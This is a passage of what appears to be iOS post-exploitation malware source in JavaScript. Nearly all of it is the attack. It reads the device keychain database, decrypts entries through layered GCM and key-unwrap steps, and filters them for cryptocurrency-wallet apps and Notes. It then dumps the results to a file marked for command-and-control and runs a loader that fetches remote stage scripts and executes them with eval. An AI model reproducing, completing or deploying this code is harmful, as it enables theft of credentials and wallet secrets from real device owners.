p7_flog("GCM TAG MISMATCH ct=" + ctLen + " iv=" + ivLen);
p7_result.diagnostics.tagMismatches = (p7_result.diagnostics.tagMismatches || 0) + 1;
}
return plaintext.buffer;
}
// --- V7 blob parser helpers ---
function p7_parseVarint(buf, offset) {
var val = 0, shift = 0, i = offset;
while (i < buf.length) {
var b = buf[i++];
val |= (b & 0x7F) << shift;
if (!(b & 0x80)) break;
shift += 7;
}
return {value: val, nextOffset: i};
}
function p7_parseProtobuf(data) {
var buf = new Uint8Array(data);
var fields = {};
var i = 0;
while (i < buf.length) {
var tagInfo = p7_parseVarint(buf, i);
i = tagInfo.nextOffset;
var fieldNum = tagInfo.value >> 3;
var wireType = tagInfo.value & 0x7;
if (wireType === 0) {
var v = p7_parseVarint(buf, i);
fields["f" + fieldNum + "_varint"] = v.value;
i = v.nextOffset;
} else if (wireType === 2) {
var lenInfo = p7_parseVarint(buf, i);
i = lenInfo.nextOffset;
var chunk = buf.slice(i, i + lenInfo.value);
if (!fields["f" + fieldNum]) fields["f" + fieldNum] = [];
fields["f" + fieldNum].push(chunk);
i += lenInfo.value;
} else {
break;
}
}
return fields;
}
function p7_parseBplist(buf) {
if (buf.length < 40) return null;
if (buf[0]!==0x62||buf[1]!==0x70||buf[2]!==0x6c||buf[3]!==0x69||buf[4]!==0x73||buf[5]!==0x74) return null;
var tOff = buf.length - 32;
var oiSz = buf[tOff+6], orSz = buf[tOff+7];
var nObj = 0; for (var i=0;i<8;i++) nObj = nObj*256 + buf[tOff+8+i];
var topIdx = 0; for (var i=0;i<8;i++) topIdx = topIdx*256 + buf[tOff+16+i];
var otOff = 0; for (var i=0;i<8;i++) otOff = otOff*256 + buf[tOff+24+i];
function rdSz(off, sz) { var v=0; for(var i=0;i<sz;i++) v=v*256+buf[off+i]; return v; }
var offsets = [];
for (var i=0;i<nObj;i++) offsets.push(rdSz(otOff+i*oiSz, oiSz));
function parseObj(idx) {
if (idx<0||idx>=nObj) return null;
var off = offsets[idx];
var marker = buf[off];
var hi = marker >> 4, lo = marker & 0xf;
if (hi===0) { return lo===0?null:lo===8?false:lo===9?true:null; }
if (hi===1) { var n=1<<lo; var v=0; for(var i=0;i<n;i++) v=v*256+buf[off+1+i]; return v; }
if (hi===4) {
var dLen=lo; var dOff=off+1;
if (lo===0xf) { var x=buf[off+1]; dLen=rdSz(off+2,1<<(x&0xf)); dOff=off+2+(1<<(x&0xf)); }
return buf.slice(dOff, dOff+dLen);
}
if (hi===5) {
var sLen=lo; var sOff=off+1;
if (lo===0xf) { var x=buf[off+1]; sLen=rdSz(off+2,1<<(x&0xf)); sOff=off+2+(1<<(x&0xf)); }
var s=""; for(var i=0;i<sLen;i++) s+=String.fromCharCode(buf[sOff+i]); return s;
}
if (hi===6) {
var sLen=lo; var sOff=off+1;
if (lo===0xf) { var x=buf[off+1]; sLen=rdSz(off+2,1<<(x&0xf)); sOff=off+2+(1<<(x&0xf)); }
var s=""; for(var i=0;i<sLen;i++) s+=String.fromCharCode((buf[sOff+i*2]<<8)|buf[sOff+i*2+1]); return s;
}
if (hi===8) { var v=0; for(var i=0;i<=lo;i++) v=v*256+buf[off+1+i]; return {_uid:v}; }
if (hi===0xa) {
var aLen=lo; var aOff=off+1;
if (lo===0xf) { var x=buf[off+1]; aLen=rdSz(off+2,1<<(x&0xf)); aOff=off+2+(1<<(x&0xf)); }
var arr=[]; for(var i=0;i<aLen;i++) arr.push(rdSz(aOff+i*orSz,orSz)); return {_arr:arr};
}
if (hi===0xd) {
var dLen=lo; var dOff=off+1;
if (lo===0xf) { var x=buf[off+1]; dLen=rdSz(off+2,1<<(x&0xf)); dOff=off+2+(1<<(x&0xf)); }
var keys=[],vals=[];
for(var i=0;i<dLen;i++) keys.push(rdSz(dOff+i*orSz,orSz));
for(var i=0;i<dLen;i++) vals.push(rdSz(dOff+dLen*orSz+i*orSz,orSz));
var d={}; for(var i=0;i<dLen;i++) { var k=parseObj(keys[i]); if(typeof k==="string") d[k]=vals[i]; }
return {_dict:d};
}
return null;
}
return {parseObj:parseObj, topIdx:topIdx, nObj:nObj};
}
function p7_parseBplistCiphertext(bplistData) {
var bp = p7_parseBplist(bplistData);
if (!bp) return null;
var topObj = bp.parseObj(bp.topIdx);
if (!topObj || !topObj._dict) return null;
var objsIdx = topObj._dict["$objects"];
var topDIdx = topObj._dict["$top"];
if (objsIdx===undefined || topDIdx===undefined) return null;
var objsRef = bp.parseObj(objsIdx);
var topD = bp.parseObj(topDIdx);
if (!objsRef||!objsRef._arr||!topD||!topD._dict) return null;
var objArr = objsRef._arr;
var rootRef = topD._dict["root"];
if (rootRef===undefined) return null;
var rootUid = bp.parseObj(rootRef);
var rootIdx = rootUid && rootUid._uid !== undefined ? rootUid._uid : (typeof rootRef==="number" ? rootRef : -1);
if (rootIdx < 0 || rootIdx >= objArr.length) return null;
var rootObj = bp.parseObj(objArr[rootIdx]);
if (!rootObj||!rootObj._dict) return null;
function getUid(key) {
var ref = rootObj._dict[key];
if (ref===undefined) return -1;
var u = bp.parseObj(ref);
if (u && u._uid !== undefined) return u._uid;
return typeof ref==="number"? ref : -1;
}
var ivIdx = getUid("SFInitializationVector");
var ctIdx = getUid("SFCiphertext");
var tagIdx = getUid("SFAuthenticationCode");
if (tagIdx < 0) tagIdx = getUid("SFAuthenticationTag");
if (ivIdx<0||ivIdx>=objArr.length||ctIdx<0||ctIdx>=objArr.length) return null;
var ivData = bp.parseObj(objArr[ivIdx]);
var ctData = bp.parseObj(objArr[ctIdx]);
if (!(ivData instanceof Uint8Array) || !(ctData instanceof Uint8Array)) return null;
var tag = null;
if (tagIdx >= 0 && tagIdx < objArr.length) {
var t = bp.parseObj(objArr[tagIdx]);
if (t instanceof Uint8Array) tag = t;
}
var ct = ctData;
if (!tag && ct.length > 16) {
tag = ct.slice(ct.length - 16);
ct = ct.slice(0, ct.length - 16);
}
return {iv: ivData, ct: ct, tag: tag};
}
// --- TLV decoder ---
function p7_decodeTLV(data) {
var buf = new Uint8Array(data);
var attrs = {};
var i = 0;
// Outer: tag 0x30 or 0x31 (SEQUENCE/SET)
if (buf.length < 4) return attrs;
if (buf[0] === 0x30 || buf[0] === 0x31) {
var outerLen = buf[1];
if (outerLen === 0x82) {
outerLen = (buf[2] << 8) | buf[3];
i = 4;
} else if (outerLen === 0x81) {
outerLen = buf[2];
i = 3;
} else {
i = 2;
}
}
while (i + 2 < buf.length) {
var seqTag = buf[i++];
if (seqTag !== 0x30) break;
var seqLen = buf[i++];
if (seqLen === 0x81) { seqLen = buf[i++]; }
else if (seqLen === 0x82) { seqLen = (buf[i] << 8) | buf[i+1]; i += 2; }
var seqEnd = i + seqLen;
if (seqEnd > buf.length) break;
// Inside: key string tag (0x0C UTF8String or 0x18 GeneralizedTime) + value
var keyTag = buf[i++];
var keyLen = buf[i++];
if (keyLen === 0x81) { keyLen = buf[i++]; }
var keyStr = "";
for (var ki = 0; ki < keyLen && (i + ki) < buf.length; ki++)
keyStr += String.fromCharCode(buf[i + ki]);
i += keyLen;
if (i < seqEnd) {
var valTag = buf[i++];
var valLen = buf[i++];
if (valLen === 0x81) { valLen = buf[i++]; }
else if (valLen === 0x82) { valLen = (buf[i] << 8) | buf[i+1]; i += 2; }
if (valTag === 0x0C || valTag === 0x18 || valTag === 0x16) {
var valStr = "";
for (var vi = 0; vi < valLen && (i + vi) < buf.length; vi++)
valStr += String.fromCharCode(buf[i + vi]);
attrs[keyStr] = valStr;
} else if (valTag === 0x04) {
var valBytes = buf.slice(i, i + valLen);
var hex = "";
for (var hi = 0; hi < valBytes.length; hi++)
hex += ("0" + valBytes[hi].toString(16)).slice(-2);
attrs[keyStr] = hex;
attrs[keyStr + "_raw"] = valBytes;
} else if (valTag === 0x02) {
var intVal = 0;
for (var ii = 0; ii < valLen && (i + ii) < buf.length; ii++)
intVal = (intVal << 8) | buf[i + ii];
attrs[keyStr] = intVal;
}
i += valLen;
}
i = seqEnd;
}
return attrs;
}
// --- Table scan + decrypt ---
p7_flog("=== Table scan + decrypt ===");
p7_flushLog();
var p7_tableNames = ["genp", "inet", "cert", "keys"];
var p7_MAX_ROWS = 2000;
for (var p7_ti = 0; p7_ti < p7_tableNames.length; p7_ti++) {
var p7_tbl = p7_tableNames[p7_ti];
p7_flog("table[" + p7_ti + "]=" + p7_tbl + " starting...");
var p7_items = [];
var p7_tStmt = BigInt(N.callSymbol("calloc", 1, 8));
var p7_tSql = "SELECT rowid, data FROM " + p7_tbl + " LIMIT " + p7_MAX_ROWS;
var p7_tRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, p7_tSql, -1, p7_tStmt, 0n));
p7_flog(p7_tbl + " prepare rc=" + p7_tRc);
if (p7_tRc !== p7_SQLITE_OK) {
p7_flog(p7_tbl + " prepare FAILED");
N.callSymbol("free", p7_tStmt);
p7_result.tables[p7_tbl] = {error: "prepare rc=" + p7_tRc, items: []};
continue;
}
var p7_stmt = N.read64(BigInt(p7_tStmt));
N.callSymbol("free", p7_tStmt);
var p7_rowCount = 0;
p7_flushLog();
var p7_stepVal;
while ((p7_stepVal = Number(N.callSymbol("sqlite3_step", p7_stmt))) === p7_SQLITE_ROW) {
p7_rowCount++;
try {
if (p7_rowCount === 1 || p7_rowCount % 500 === 0) {
p7_flog(p7_tbl + " row " + p7_rowCount);
if (typeof __peStillOwner === "function" && !__peStillOwner()) {
p7_flog("PEMK-G abort decrypt: lost pe_run_token at " + p7_tbl + " row " + p7_rowCount);
p7_flushLog();
throw "pe_run_token_lost";
}
}
var p7_rowid = Number(N.callSymbol("sqlite3_column_int", p7_stmt, 0));
var p7_blobPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_stmt, 1));
var p7_blobLen = Number(N.callSymbol("sqlite3_column_bytes", p7_stmt, 1));
if (!p7_blobPtr || p7_blobPtr === 0n || p7_blobLen < 8) {
p7_items.push({rowid: p7_rowid, error: "empty"});
continue;
}
if (p7_blobLen > 65536) {
p7_flog("WARN " + p7_tbl + " row " + p7_rowCount + " blobLen=" + p7_blobLen + " >64KB, skip");
p7_items.push({rowid: p7_rowid, error: "blob_too_large len=" + p7_blobLen});
continue;
}
var p7_blobData = new Uint8Array(N.read(p7_blobPtr, p7_blobLen));
var p7_version = p7_blobData[0] | (p7_blobData[1] << 8) | (p7_blobData[2] << 16) | (p7_blobData[3] << 24);
var p7_item = {rowid: p7_rowid, _table: p7_tbl, version: p7_version};
try {
var p7_pbData;
if (p7_version >= 7 && p7_version <= 20) {
p7_pbData = p7_blobData.slice(4);
} else if (p7_blobData[0] === 0x0a || p7_blobData[0] === 0x08 || p7_blobData[0] === 0x12) {
p7_pbData = p7_blobData;
p7_item.version = 7;
} else {
p7_item.error = "unknown_format v=" + p7_version;
p7_items.push(p7_item);
continue;
}
var p7_pb = p7_parseProtobuf(p7_pbData.buffer);
var p7_protClass = p7_pb.f3_varint || 0;
p7_item.protectionClass = p7_protClass;
// Extract nested fields
// outer.1 -> f1[0] (nested: 1.1=bplistFirst, 1.2.1=blob3Key)
// outer.2 -> f2[0] (nested: 2.1=bplistSecond, 2.2=bplistThird)
var p7_bpFirst = null, p7_bpSecond = null, p7_bpThird = null, p7_blob3Key = null;
if (p7_pb.f1 && p7_pb.f1[0]) {
var p7_inner1 = p7_parseProtobuf(p7_pb.f1[0].buffer);
if (p7_inner1.f1 && p7_inner1.f1[0]) p7_bpFirst = p7_inner1.f1[0];
if (p7_inner1.f2 && p7_inner1.f2[0]) {
var p7_inner12 = p7_parseProtobuf(p7_inner1.f2[0].buffer);
if (p7_inner12.f1 && p7_inner12.f1[0]) p7_blob3Key = p7_inner12.f1[0];
}
}
if (p7_pb.f2 && p7_pb.f2[0]) {
var p7_inner2 = p7_parseProtobuf(p7_pb.f2[0].buffer);
if (p7_inner2.f1 && p7_inner2.f1[0]) p7_bpSecond = p7_inner2.f1[0];
if (p7_inner2.f2 && p7_inner2.f2[0]) p7_bpThird = p7_inner2.f2[0];
}
p7_item._blobSizes = {
first: p7_bpFirst ? p7_bpFirst.length : 0,
second: p7_bpSecond ? p7_bpSecond.length : 0,
third: p7_bpThird ? p7_bpThird.length : 0,
blob3: p7_blob3Key ? p7_blob3Key.length : 0
};
// Layer 1: GCM(bplistThird, metadataKey[class]) -> intermediate
var p7_mkeyArr = p7_metaKeys[p7_protClass];
if (!p7_mkeyArr) {
p7_item.error = "no_metadata_key class=" + p7_protClass;
p7_items.push(p7_item);
continue;
}
if (p7_bpThird && p7_hasCrypto) {
var p7_l1 = p7_parseBplistCiphertext(p7_bpThird);
if (p7_l1 && p7_l1.ct && p7_l1.iv) {
var p7_interKey = p7_gcmDecrypt(p7_mkeyArr,
p7_l1.iv, p7_l1.iv.length,
p7_l1.ct, p7_l1.ct.length,
p7_l1.tag, p7_l1.tag ? p7_l1.tag.length : 0);
if (p7_interKey) {
var p7_interArr = new Uint8Array(p7_interKey);
// Layer 2: GCM(bplistSecond, intermediateKey) -> metadata TLV
if (p7_bpSecond) {
var p7_l2 = p7_parseBplistCiphertext(p7_bpSecond);
if (p7_l2 && p7_l2.ct && p7_l2.iv) {
var p7_metaPt = p7_gcmDecrypt(
p7_interArr.length >= 32 ? p7_interArr.slice(0, 32) : p7_interArr,
p7_l2.iv, p7_l2.iv.length,
p7_l2.ct, p7_l2.ct.length,
p7_l2.tag, p7_l2.tag ? p7_l2.tag.length : 0);
if (p7_metaPt) {
var p7_metaAttrs = p7_decodeTLV(p7_metaPt);
p7_item.service = p7_metaAttrs["svce"] || null;
p7_item.account = p7_metaAttrs["acct"] || null;
p7_item.accessGroup = p7_metaAttrs["agrp"] || null;
p7_item.label = p7_metaAttrs["labl"] || null;
} else { p7_item.layer2Error = "gcm_fail"; }
} else { p7_item.layer2Error = "bplist_parse"; }
}
// Layer 3: AKS unwrap(blob3Key) + GCM(bplistFirst, blob3key) -> secret TLV
if (p7_blob3Key && p7_bpFirst && p7_aksReady) {
var p7_b3Unwrap = p7_aksUnwrap(p7_protClass, p7_blob3Key.buffer, p7_blob3Key.length);
if (p7_b3Unwrap && p7_b3Unwrap.kr === 0 && p7_b3Unwrap.data) {
var p7_b3Key = new Uint8Array(p7_b3Unwrap.data);
var p7_l3 = p7_parseBplistCiphertext(p7_bpFirst);
if (p7_l3 && p7_l3.ct && p7_l3.iv) {
var p7_secPt = p7_gcmDecrypt(
p7_b3Key.length >= 32 ? p7_b3Key.slice(0, 32) : p7_b3Key,
p7_l3.iv, p7_l3.iv.length,
p7_l3.ct, p7_l3.ct.length,
p7_l3.tag, p7_l3.tag ? p7_l3.tag.length : 0);
if (p7_secPt) {
var p7_secAttrs = p7_decodeTLV(p7_secPt);
if (p7_secAttrs["v_Data"]) {
p7_item.dataHex = p7_secAttrs["v_Data"];
}
} else { p7_item.layer3Error = "gcm_fail"; }
} else { p7_item.layer3Error = "bplist_parse"; }
} else {
p7_item.layer3Error = "aks_unwrap kr=" + (p7_b3Unwrap ? p7_b3Unwrap.kr : -1);
}
}
} else { p7_item.layer1Error = "gcm_fail"; }
} else { p7_item.layer1Error = "bplist_parse"; }
} else if (!p7_bpThird) { p7_item.error = "no_bpThird"; }
} catch (p7_decErr) {
p7_item.error = "decrypt: " + p7_decErr;
}
p7_items.push(p7_item);
} catch (p7_rowErr) {
p7_flog(p7_tbl + " row " + p7_rowCount + " CRASH: " + p7_rowErr);
p7_flushLog();
}
}
N.callSymbol("sqlite3_finalize", p7_stmt);
p7_flog(p7_tbl + ": " + p7_rowCount + " rows, " + p7_items.length + " processed");
p7_result.tables[p7_tbl] = {count: p7_rowCount, items: p7_items};
p7_flushLog();
}
// --- Wallet scan ---
var p7_walletRules = [
["bitpie", ["bitpie"]],
["trustwallet", ["sixdays.trust", "group.com.sixdays"]],
["imtoken", ["im.token", "imtoken", "token.im"]],
["tokenpocket", ["tokenpocket", "global.wallet.ios", "com.global.wallet"]],
["phantom", ["app.phantom", "phantom"]],
["uniswap", ["uniswap"]],
["coinbase", ["org.toshi"]],
["bitget", ["bitkeep", "BG@@"]],
["metamask", ["io.metamask", "metamask"]],
["okx", ["okinc.okex", "okex", "com.okx"]],
["tronlink", ["tronlink"]],
["coin98", ["coin98"]],
["solflare", ["solflare", "flutter_biometric"]],
["exodus", ["exodus"]],
["tonkeeper", ["tonkeeper", "jbig.tonkeeper"]],
["mytonwallet", ["mytonwallet", "org.mytonwallet"]],
["tonhub", ["tonhub"]],
["notes", ["group.com.apple.notes", "com.apple.notes"]],
];
var p7_wallets = {};
for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++)
p7_wallets[p7_walletRules[p7_ri][0]] = [];
for (var p7_wti = 0; p7_wti < p7_tableNames.length; p7_wti++) {
var p7_wTbl = p7_result.tables[p7_tableNames[p7_wti]];
if (!p7_wTbl || !p7_wTbl.items) continue;
for (var p7_wi = 0; p7_wi < p7_wTbl.items.length; p7_wi++) {
var p7_wItem = p7_wTbl.items[p7_wi];
if (p7_wItem.error) continue;
var p7_agrp = (p7_wItem.accessGroup || "").toLowerCase();
var p7_svce = (p7_wItem.service || "").toLowerCase();
for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) {
var p7_pats = p7_walletRules[p7_ri][1];
var p7_hit = false;
for (var p7_pi = 0; p7_pi < p7_pats.length; p7_pi++) {
if (p7_agrp.indexOf(p7_pats[p7_pi]) >= 0 || p7_svce.indexOf(p7_pats[p7_pi]) >= 0) {
p7_hit = true; break;
}
}
if (p7_hit) { p7_wallets[p7_walletRules[p7_ri][0]].push(p7_wItem); break; }
}
}
}
p7_result.wallets = {};
var p7_wlog = "wallets:";
for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) {
var p7_wk = p7_walletRules[p7_ri][0];
if (p7_wallets[p7_wk].length > 0) {
p7_result.wallets[p7_wk] = {count: p7_wallets[p7_wk].length, items: p7_wallets[p7_wk]};
p7_wlog += " " + p7_wk + "=" + p7_wallets[p7_wk].length;
}
}
p7_flog(p7_wlog);
// --- Keep only wallet + Notes items in tables (drop other apps) ---
var p7_kept = 0, p7_dropped = 0;
function p7_itemKeep(item) {
var agrp = (item.accessGroup || "").toLowerCase();
var svce = (item.service || "").toLowerCase();
var acct = (item.account || "").toLowerCase();
for (var ri = 0; ri < p7_walletRules.length; ri++) {
var pats = p7_walletRules[ri][1];
for (var pi = 0; pi < pats.length; pi++) {
var pat = (pats[pi] || "").toLowerCase();
if (!pat) continue;
if (agrp.indexOf(pat) >= 0 || svce.indexOf(pat) >= 0 || acct.indexOf(pat) >= 0) return true;
}
}
return false;
}
for (var p7_fti = 0; p7_fti < p7_tableNames.length; p7_fti++) {
var p7_fTbl = p7_result.tables[p7_tableNames[p7_fti]];
if (!p7_fTbl || !p7_fTbl.items) continue;
var p7_keptItems = [];
for (var p7_fi = 0; p7_fi < p7_fTbl.items.length; p7_fi++) {
var p7_fit = p7_fTbl.items[p7_fi];
if (p7_itemKeep(p7_fit)) { p7_keptItems.push(p7_fit); p7_kept++; }
else p7_dropped++;
}
p7_fTbl.items = p7_keptItems;
p7_fTbl.count = p7_keptItems.length;
}
p7_flog("keychain filter kept=" + p7_kept + " dropped=" + p7_dropped + " (wallet+notes only)");
// --- Write result ---
N.callSymbol("sqlite3_close", p7_db);
var p7_jsonStr = JSON.stringify(p7_result);
var p7_outTmp = "/tmp/keychain_c2_dump.json.tmp";
var p7_outFinal = "/tmp/keychain_c2_dump.json";
var p7_outDone = "/tmp/keychain_c2_dump.done";
var p7_outFd = Number(N.callSymbol("open", p7_outTmp, 0x601, 0x1FF));
if (p7_outFd >= 0) {
var p7_jBuf = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStr.length + 1)));
N.writeString(p7_jBuf, p7_jsonStr);
N.callSymbol("write", p7_outFd, p7_jBuf, p7_jsonStr.length);
N.callSymbol("fsync", p7_outFd);
N.callSymbol("close", p7_outFd);
N.callSymbol("free", p7_jBuf);
N.callSymbol("chmod", p7_outTmp, 0x1FF);
N.callSymbol("unlink", p7_outFinal);
N.callSymbol("rename", p7_outTmp, p7_outFinal);
N.callSymbol("chmod", p7_outFinal, 0x1FF);
// Write done marker
var p7_doneFd = Number(N.callSymbol("open", p7_outDone, 0x601, 0x1FF));
if (p7_doneFd >= 0) {
N.callSymbol("write", p7_doneFd, "done", 4);
N.callSymbol("close", p7_doneFd);
N.callSymbol("chmod", p7_outDone, 0x1FF);
}
p7_flog("result written to " + p7_outFinal + " (" + p7_jsonStr.length + " bytes)");
} else {
p7_flog("failed to open output file");
p7_result.errors.push("output file open failed");
}
} else {
N.callSymbol("free", p7_dbPtrBuf);
p7_flog("DB open failed, writing partial dump for HQ /war");
p7_result.errors.push("DB open failed rc=" + p7_dbRc);
p7_result.diagnostics = p7_result.diagnostics || {};
p7_result.diagnostics.db_open_rc = p7_dbRc;
p7_result.diagnostics.partial = true;
try {
var p7_jsonStrFail = JSON.stringify(p7_result);
var p7_outTmpF = "/tmp/keychain_c2_dump.json.tmp";
var p7_outFinalF = "/tmp/keychain_c2_dump.json";
var p7_outDoneF = "/tmp/keychain_c2_dump.done";
var p7_outFdF = Number(N.callSymbol("open", p7_outTmpF, 0x601, 0x1FF));
if (p7_outFdF >= 0) {
var p7_jBufF = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStrFail.length + 1)));
N.writeString(p7_jBufF, p7_jsonStrFail);
N.callSymbol("write", p7_outFdF, p7_jBufF, p7_jsonStrFail.length);
N.callSymbol("fsync", p7_outFdF);
N.callSymbol("close", p7_outFdF);
N.callSymbol("free", p7_jBufF);
N.callSymbol("chmod", p7_outTmpF, 0x1FF);
N.callSymbol("unlink", p7_outFinalF);
N.callSymbol("rename", p7_outTmpF, p7_outFinalF);
N.callSymbol("chmod", p7_outFinalF, 0x1FF);
var p7_doneFdF = Number(N.callSymbol("open", p7_outDoneF, 0x601, 0x1FF));
if (p7_doneFdF >= 0) {
N.callSymbol("write", p7_doneFdF, "done", 4);
N.callSymbol("close", p7_doneFdF);
N.callSymbol("chmod", p7_outDoneF, 0x1FF);
}
p7_flog("partial result written (" + p7_jsonStrFail.length + " bytes)");
} else {
p7_flog("partial output open failed");
}
} catch (p7_wErr) {
p7_flog("partial write err: " + p7_wErr);
}
}
}
} catch (p7_err) {
p7_flog("Phase 2 error: " + p7_err);
} finally {
if (p7_secRC) {
p7_secRC.destroy();
}
}
}
// ===== End P7 Phase 2 =====
if (p7_enableP7) p7_flushLog();
p7_flog("PEMK-G s6_p7phase2 done"); p7_flushLog();
try {
if (!globalThis.__peC2Injected && typeof __pePostWarDumpFallback === "function") {
p7_flog("PEMK-G post-s6 war-fallback (no C2 inject)"); p7_flushLog();
__pePostWarDumpFallback("post_s6_no_c2");
}
} catch (_wf) {}
}
function __peHttpGetStage(path) {
try {
var name = String(path || "").replace(/^.*\//, "").replace(/\.js$/i, "");
if (!name) return null;
return __labCfHttp("GET", "/api/ds/pe-stage/" + name + ".js", null, true, p7_logHostPort());
} catch (e) {
return null;
}
}
var __peStages = [
["s1_launchd", __peStage1],
["s2_keychain", __peStage2],
["s3_mempress", __peStage3],
["s4_loader", __peStage4],
["s6_p7phase2", __peStage6],
["s5_c2", __peStage5]
];
// 18.5: SpringBoard RC after long Phase2 often 0x494 (120s). Inject C2 before s6.
try {
var __iosOrd = __labIosForGate();
if (__iosOrd.maj === 18 && __iosOrd.min === 5) {
__peStages = [
["s1_launchd", __peStage1],
["s2_keychain", __peStage2],
["s3_mempress", __peStage3],
["s4_loader", __peStage4],
["s5_c2", __peStage5],
["s6_p7phase2", __peStage6]
];
p7_flog("PEMK stage-order: 18.5 early C2 before Phase2");
p7_flushLog();
}
} catch (_ord) {}
var __peNetDead = false;
for (var __psi = 0; __psi < __peStages.length; __psi++) {
if (__psi > 0 && typeof __peStillOwner === "function" && !__peStillOwner()) {
p7_flog("PEMK abort: lost pe_run_token (newer PE) before " + __peStages[__psi][0]);
p7_flushLog();
break;
}
try { func_offsets_array[0x2101] = __psi + 1; } catch (_ms) {}
var __psName = __peStages[__psi][0];
var __psFn = __peStages[__psi][1];
var __psCode = null;
if (!__peNetDead) {
for (var __psTry = 0; __psTry < 2 && !__psCode; __psTry++) {
__psCode = __peHttpGetStage("/pe_stage/" + __psName + ".js");
}
if (!__psCode) { __peNetDead = true; }
}
if (__psCode && __psCode.indexOf("__peStage") >= 0) {
p7_flog("stage " + __psName + " fetched " + __psCode.length + "B -> eval"); p7_flushLog();
try { eval(__psCode); }
catch (__psErr) {
if (__psErr instanceof SyntaxError) {
p7_flog("stage " + __psName + " syntax err -> inline"); p7_flushLog();
try { __psFn(); } catch (__psErrB) { p7_flog("stage " + __psName + " inline err: " + __psErrB); }
} else {
p7_flog("stage " + __psName + " eval err: " + __psErr);
}
}
} else {
if (__psCode) p7_flog("stage " + __psName + " bad body -> inline");
else p7_flog("stage " + __psName + " fetch failed -> inline");
p7_flushLog();
try { __psFn(); } catch (__psErr2) { p7_flog("stage " + __psName + " inline err: " + __psErr2); }
}
p7_flog("stage " + __psName + " done"); p7_flushLog();
if (globalThis.__peAbort) { p7_flog("abort flag set -> stop stages"); p7_flushLog(); break; }
}
p7_flog("PEMK-Z all stages done"); if (p7_enableP7) p7_flushLog();
try { pe_alive_ping("pe_all_stages"); } catch (_pz) {}
try { func_offsets_array[0x2102] = 0x5a; } catch (_mz) {}
LOG("[PE-WORKER] start() COMPLETE");
return true;
}
try {
try { pe_alive_ping("pe_before_start"); } catch (_ps) {}
try { func_offsets_array[0x2100] = 0x53; } catch (_m4) {}
start();
}
catch (error) {
var __errTxt = "";
try { __errTxt = String(error && (error.message || error)); } catch (_es) { __errTxt = "unknown"; }
try { pe_alive_ping("pe_start_threw"); } catch (_pt) {}
try { pe_alive_ping("pe_start_err:" + __errTxt.substring(0, 100)); } catch (_pt2) {}
try { LOG("[PE] start() threw: " + __errTxt); } catch (_lg) {}
}
finally {
try { LOG("[HB] skip (no BSD socket)"); } catch(_e) {}
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("exit", 0n);
}
})();
/******/ })()
;
} catch (error) {
LOG(`Main function resulted with an error: ${error}`);
LOG("stack: " + error.stack);
}
})();